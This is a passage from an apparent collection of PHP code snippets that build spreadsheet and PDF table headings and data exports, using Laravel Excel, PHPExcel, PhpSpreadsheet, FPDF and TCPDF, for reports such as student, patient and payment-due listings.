\"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 15, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 16, \"/ภูมิภาค\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 17, \"(จังหวัด)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 18, \"เฉพาะทาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 19, \"ปัจจุบัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 20, \"เกษียณ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "public static function excelStateHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Qualification type',\n 'Employer size'\n ];\n }", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals, create_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals,\n\t\t\t\tcreate_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public function headings(): array\n {\n return [\n 'Name',\n 'Department',\n 'OT Date',\n 'Shift',\n 'From',\n 'To',\n 'Total Hrs',\n 'Job Content',\n 'Results',\n 'Supervisor',\n 'Manager',\n 'Date Created',\n 'Last Update'\n ];\n }", "function styleHeaderExcel()\n{\n $styleHeader = array(\n 'font' => array(\n 'size' => 16,\n 'name' => 'Calibri',\n ), 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n ), 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR,\n 'rotation' => 90,\n 'startcolor' => array(\n 'argb' => 'B5B5B5',\n ), 'endcolor' => array(\n 'argb' => 'E0E0E0',\n ),\n ),\n );\n return $styleHeader;\n}", "public static function excelSkillingSaHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Industry',\n ];\n }", "public function headings(): array\n\t{\n\t\treturn [\n\t\t\t\t'No',\n\t\t\t\t'Title',\n\t\t\t\t'Price',\n\t\t\t\t'Category',\n\t\t\t\t'Type',\n\t\t\t\t'Post By',\n\t\t\t\t'Province',\n\t\t\t\t'District',\n\t\t\t\t'Commune',\n\t\t\t\t'views',\n\t\t\t\t'Status'\n\t\t];\n }", "public function headingRow(): int\n {\n return 1;\n }", "public static function excelSkillDemandHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelSkillsHeadings()\n {\n return [\n 'Skill type',\n 'Agriculture, Forestry and Fishing',\n 'Mining',\n 'Manufacturing',\n 'Electricity, Gas, Water and Waste Services',\n 'Construction',\n 'Wholesale trade',\n 'Retail trade',\n 'Accommodation and food services',\n 'Transport, Postal and Warehousing',\n 'Information media and telecommunications',\n 'Financial and insurance services',\n 'Rental, Hiring and Real Estate Services',\n 'Professional, Scientific and Technical Services',\n 'Administrative and support services',\n 'Public administration and safety',\n 'Education and training',\n 'Health care and social assistance',\n 'Arts and recreation services',\n 'Other services',\n 'South australia'\n ];\n }", "public static function excelSkillsShortagesHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public function headings(): array\n {\n return [\n 'id',\n 'mshp_version_id',\n 'cmr_law_number',\n 'cmr_chapter',\n 'cmr_charge_code_seq',\n 'cmr_charge_code_fingerprintable',\n 'cmr_charge_code_effective_year',\n 'cmr_charge_code_ncic_category',\n 'cmr_charge_code_ncic_modifier',\n 'charge_code',\n 'ncic_mod',\n 'state_mod',\n 'description',\n 'type_class',\n 'dna',\n 'sor',\n 'roc',\n 'case_type',\n 'effective_date',\n ];\n }", "private function headings() {\n\t\t$this->section_data['general_h_tags'] = array(\n\t\t\t'name' \t\t\t\t\t=> 'general_h_tags',\n\t\t\t'label' \t\t\t\t=> __( 'Headings', 'fixedtoc' ),\n\t\t\t'default' \t\t\t=> array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),\n\t\t\t'type' \t\t\t\t\t=> 'multi_checkbox',\n\t\t\t'choices'\t\t\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h1' => 'Heading 1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h2' => 'Heading 2',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h3' => 'Heading 3',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h4' => 'Heading 4',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h5' => 'Heading 5',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h6' => 'Heading 6',\n\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t'des'\t\t\t\t\t\t=> __( 'Check which HTML headings automatically generated table of contents.', 'fixedtoc' )\n\t\t);\n\t}", "public function horometersExcel(){ \n return Excel::download(new HorometersExport, 'horometros-list-'.date('Y-m-d_H:i:s').'.xlsx');\n }", "public function header($Arr_Labels=false)\n\t{\n\t\t$this->Arr_Labels = $Arr_Labels;\n\n $Int_Column = 0;\n if ($Arr_Labels)\n {\n\t foreach ($Arr_Labels as $Str_Field => $Str_Label)\n\t\t\t{\n $Str_Column = $Str_Label;\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t\t\t\t$Int_Column++;\n\t }\n\t\t}\n\t\telseif (isset($this->Arr_Data[0]))\n\t\t{\n\t foreach ($this->Arr_Data[0] as $Str_Field => $Str_Label)\n\t\t\t{\n\t\t\t\t$Int_Column++;\n $Str_Column = Inflector::humanize($Str_Field);\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t }\n\t\t}\n\n\t\t//Set the worksheet styles.\n $this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->getStartColor()->setRGB('ffffff');\n $this->Obj_Doc->getActiveSheet()->duplicateStyle( $this->Obj_Doc->getActiveSheet()->getStyle('A1'), 'B1:'.$this->Obj_Doc->getActiveSheet()->getHighestColumn().'1');\n\n\t\tfor ($i = 1; $i <= $Int_Column; $i++)\n\t\t{\n $this->Obj_Doc->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setAutoSize(true);\n }\n\n\t\treturn $this;\n\t}", "public function getGridHeadings() {\n return [ StringLiterals::GRIDHEADING => [ [ 'name' => trans ( 'cms::latestnews.title' ),StringLiterals::VALUE => 'name','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_creator' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_image' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.created_at' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.status' ),StringLiterals::VALUE => 'is_active','sort' => false ],[ 'name' => trans ( 'cms::latestnews.action' ),StringLiterals::VALUE => 'is_active','sort' => false ] ] ];\n }", "function DisplayTableHeader()\n{\n\t$pdf = $GLOBALS['pdf'];\n\t$width_col_no = $GLOBALS['width_col_no'];\n\t$sync_name_index = $GLOBALS['sync_name_index'];\n\t$collectionWidth = $GLOBALS['collectionWidth'];\n\t$totalWidth = $GLOBALS['totalWidth'];\n\n\t//setkan font jadi bold untuk header\n\t$pdf->SetFont('helvetica','B',9);\n\n\t//koleksi tinggi column header\n\t$header_cols_height = array();\n\n\t//tinggi untuk column 'No'\n\t$header_cols_height[] = $pdf->getNumLines('No',$width_col_no);\n\n\t//dapatkan tinggi untuk setiap column\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$header_cols_height[] = $pdf->getNumLines($value,$width_converted);\n\t}\n\n\t//cari siapa paling tinggi\n\t$max_height = max($header_cols_height);\n\n\t//display\n\t$pdf->SetFillColor(211,211,211);\n\n\t$pdf->MultiCell($w=$width_col_no, $h=5*$max_height+3, $txt='No', $border=1, $align='L', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$pdf->MultiCell($w=$width_converted, $h=5*$max_height+3, $txt=$value, $border=1, $align='C', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\t}\n\n\t//reset font\n\t$pdf->SetFont('helvetica','',9);\n\t$pdf->Ln();\n}", "public static function excelRegionsHeadings()\n {\n return [\n 'Region',\n ];\n }", "public function headings(): array\n {\n return [\n '#ID',\n 'APELLIDO',\n 'NOMBRE',\n 'EMAIL',\n 'ROLE',\n 'PERMISOS ADICIONALES',\n 'FECHA DE CREACIÓN',\n ];\n }", "public static function excelPlansAndProjectsHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Region',\n 'Industry',\n ];\n }", "function extract(){\n $datamine_row = $datamine_col = $header = array();\n $i = 0; $j = 0;\n \n // Groups all excel data by row\n for ($row = 1; $row <= $this->highestRow; $row++) {\n $rowData = $this->sheet->rangeToArray('A' . $row . ':' . $this->highestColumn . $row, null, true, false);\n if(empty($header)){\n $header=$rowData[0];\n }else{\n for($col=0;$col<count($header);$col++){\n $datamine_row[$i][$header[$col]] = $rowData[0][$col]; \n }\n $i++;\n }\n }\n $this->data_row = $datamine_row;\n \n // Re-group all excel data by column\n foreach($datamine_row as $data){\n foreach($header as $grp){\n $datamine_col[$grp][$j] = $data[$grp];\n }\n $j++;\n }\n $this->data_col = $datamine_col;\n }", "public function getHeading(): string;", "private function renderSectionHeadings() {\n\t\t$headings = array();\n\t\t$separator = $this->getSubpart('HEADING_SEPARATOR');\n\n\t\tforeach ($this->sections as $key => $section) {\n\t\t\t$class = ($key == 0) ? 'tx-explanationbox-pi1-active' : 'tx-explanationbox-pi1-inactive';\n\n\t\t\t$this->setMarker('class_heading', $class);\n\t\t\t$this->setMarker('heading_number', $key);\n\t\t\t$this->setMarker('heading', htmlspecialchars($section['title']));\n\t\t\t$headings[] = $this->getSubpart('SINGLE_HEADING');\n\t\t}\n\n\t\tif (count($this->sections) > 1) {\n\t\t\t$this->setMarker('class_rightarrow', 'tx-explanationbox-pi1-active');\n\t\t} else {\n\t\t\t$this->setMarker('class_rightarrow', 'tx-explanationbox-pi1-inactive');\n\t\t}\n\n\t\t$this->setMarker('number_of_sections', count($this->sections));\n\t\t$this->setSubpart('SECTION_HEADINGS', implode($separator, $headings));\n\t}", "public function __Header(){\n $this->Ln(5);\n $this->SetDrawColor(160,160,160);\n $this->SetFillColor(230,230,230);\n $this->SetTextColor(100);\n $this->SetFont('Arial','B',7);\n $this->SetX(($this->w - $this->_tWidth)/2);\n foreach($this->_fields as $field)\n $this->Cell($field[\"size\"],5,$field[\"header\"],1,0,\"C\",true);\n $this->Ln();\n }", "function header() {\n //\n //Get the fields in this sql \n $cols= $this->fields->get_array();\n //\n //Loop through the fields and display the <tds>\n foreach ($cols as $col) {\n //\n $name= is_null($col->alias) ? $col->to_str():$col->alias;\n echo \"<th>$name</th>\"; \n }\n }", "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nGROUP BY Command\nMAINHEADING;\n }", "abstract protected function getColumnsHeader(): array;", "function RowHeadFoot($data) {\n $nb = 0;\n for ($i = 0; $i < count($data); $i++)\n $nb = max($nb, $this->NbLines($this->widths[$i], $data[$i]));\n $h = 5 * $nb;\n //Issue a page break first if needed\n $this->CheckPageBreak($h);\n //Draw the cells of the row\n for ($i = 0; $i < count($data); $i++) {\n $w = $this->widths[$i];\n $a = isset($this->aligns[$i]) ? $this->aligns[$i] : 'L';\n //Save the current position\n $x = $this->GetX();\n $y = $this->GetY();\n //Draw the border\n $this->Rect($x, $y, $w, $h);\n //Print the text\n $this->SetFont('Arial', 'B', 7);\n $this->SetFillColor(203, 203, 203);\n $this->MultiCell($w, 5, $data[$i], 1, $a, true);\n //Put the position to the right of the cell\n $this->SetXY($x + $w, $y);\n }\n //Go to the next line\n $this->Ln($h);\n }", "public static function excelActionsAndStrategiesHeadings()\n {\n return [\n 'Strategies and Actions',\n 'Status',\n 'Responsibility',\n 'Industry',\n ];\n }", "function TituloCampos()\n\t{\n\t\t$this->Ln();\n\t\t$this->SetFillColor(244,249,255);\n\t\t$this->SetDrawColor(225,240,255);\n\t\t$this->SetLineWidth(.2);\n\t\t//dimenciones de cada campo\n\t\t$w=array(20,74,42,44);\n\t\t$header=array(strtoupper(_('numero')),strtoupper(_('nombre')),strtoupper(_('familia')),strtoupper(_('unidad medida')));\n\t\t$this->SetFont('Arial','B',9);\n\t\t$this->SetX(15);\n\t\tfor($k=0;$k<count($header);$k++)\n\t\t\t$this->Cell($w[$k],7,$header[$k],1,0,'J',1);\n\t\t$this->Ln();\n\t\treturn $w;\n\t}", "public function renderAllDivisionsHeader(DataCollection $collection): void;", "public function headings(): array\n {\n return [\n 'Name',\n 'Developer Name',\n 'Status',\n 'Description',\n 'Created At',\n ];\n }", "public function makeComStatsExcelSheet($data)\n\t{\n\t\t/** Reading Excel with PHPExcel_IOFactory */\n\t\trequire_once 'PHPExcel/IOFactory.php';\n\n\t\t$objReader = PHPExcel_IOFactory::createReader('Excel5');\n\t\t\n\t\t// template file\n\t\t$objPHPExcel = $objReader->load(APPLICATION_PATH . '/../data/templates/com-stats-tpl.xls');\n\t}", "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nOrganizational Units\nMAINHEADING;\n }", "abstract protected function getRowsHeader(): array;", "abstract protected function excel ();", "public function get_heading() {\n\t\tif ( $this->object['voucher_count'] == 1 ) {\n\t\t\treturn apply_filters( 'woocommerce_email_heading_' . $this->id, $this->format_string( $this->heading ), $this->object );\n\t\t} else {\n\t\t\treturn apply_filters( 'woocommerce_email_heading_' . $this->id, $this->format_string( $this->heading_multiple ), $this->object );\n\t\t}\n\t}", "public function report_data_college()\n{\n\n$user = $this->Muser->report_data_college();\n\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','I') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIM')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'JURUSAN')\n->setCellValue('E1', 'ANGKATAN')\n->setCellValue('F1', 'EMAIL')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'NO TELEPON')\n->setCellValue('I1', 'STATUS')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nim)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->prodi)\n->setCellValue('E'.$i, $data->generation)\n->setCellValue('F'.$i, $data->email)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->no_telp)\n->setCellValue('i'.$i, $data->status_user)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data Mahasiswa '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data Mahasiswa.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public function Header()\r\n\t{\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14);\r\n\t\t$this->Cell(170,7,\"Date :: \". $this->today_date ,1,0,'C');\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14); \r\n\t\t$this->MultiCell(170,8,\"Room Things Report \\n\".$this->title,1,'C');\r\n\t\t$this->Ln(5);\r\n\r\n\t}", "private function cabeceraHorizontal()\n {\n $this->Image('img/pdf/header.jpg' , 0, 0, 210 , 94,'JPG');\n\n $id_factura=1;\n $fecha_factura=\"20/12/15\";\n // Encabezado de la factura\n $this->SetFont('Arial','B',24);\n $this->SetTextColor(241,241,241);\n $top_datos=60;\n $this->SetY($top_datos);\n $this->Cell(190, 10, utf8_decode(\"EXPERT X\"), 0, 2, \"C\");\n $this->Cell(190, 10, utf8_decode(\"NOTA DE PEDIDO\"), 0, 2, \"C\");\n $this->SetFont('Arial','B',12);\n $this->MultiCell(190,5, utf8_decode(\"Número de nota: $id_factura\".\"\\n\".\"Fecha: $fecha_factura\"), 0, \"C\", false);\n $this->Ln(2);\n }", "public function headings():array\n {\n\t\tif(Auth::user()->role_id == 1 || Auth::user()->role_id == 14)\n\t\t{\n\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t ];\n\t\t\t}else{\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t'Organization Name',\n\t\t\t\t\t'Company Name',\n\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t'Person Name',\n\t\t\t\t\t'Sector',\n\t\t\t\t\t'Designation',\n\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t'Address',\n\t\t\t\t\t'State',\n\t\t\t\t\t'City',\n\t\t\t\t\t'Pincode',\n\t\t\t\t\t'Due ID',\n\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t'DueNote',\n\t\t\t\t\t'Email',\n\t\t\t\t\t'Grace Period',\n\t\t\t\t\t'Custom ID',\n\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t'Proof of Due',\n\t\t\t\t ];\n\t\t\t}\n\t\t}\n\n\t\t\t else {\n\n\t\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t\t ];\n\t\t\t\t}else{\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t ];\n\n\t\t\t\t}\n\n\t\t\t }\n }", "public function export() \n \t\t{\n \t\t$data = $this->model_patient->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data Pasien SN Health Center');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:K')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:K1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR PASIEN APLIKASI SN HEALTH CENTER');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nomor Registrasi');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Nomor KTP');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Agama');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Pekerjaan');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Nomor HP');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('K2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:K2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(25);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('K')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->patient_noregis);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, 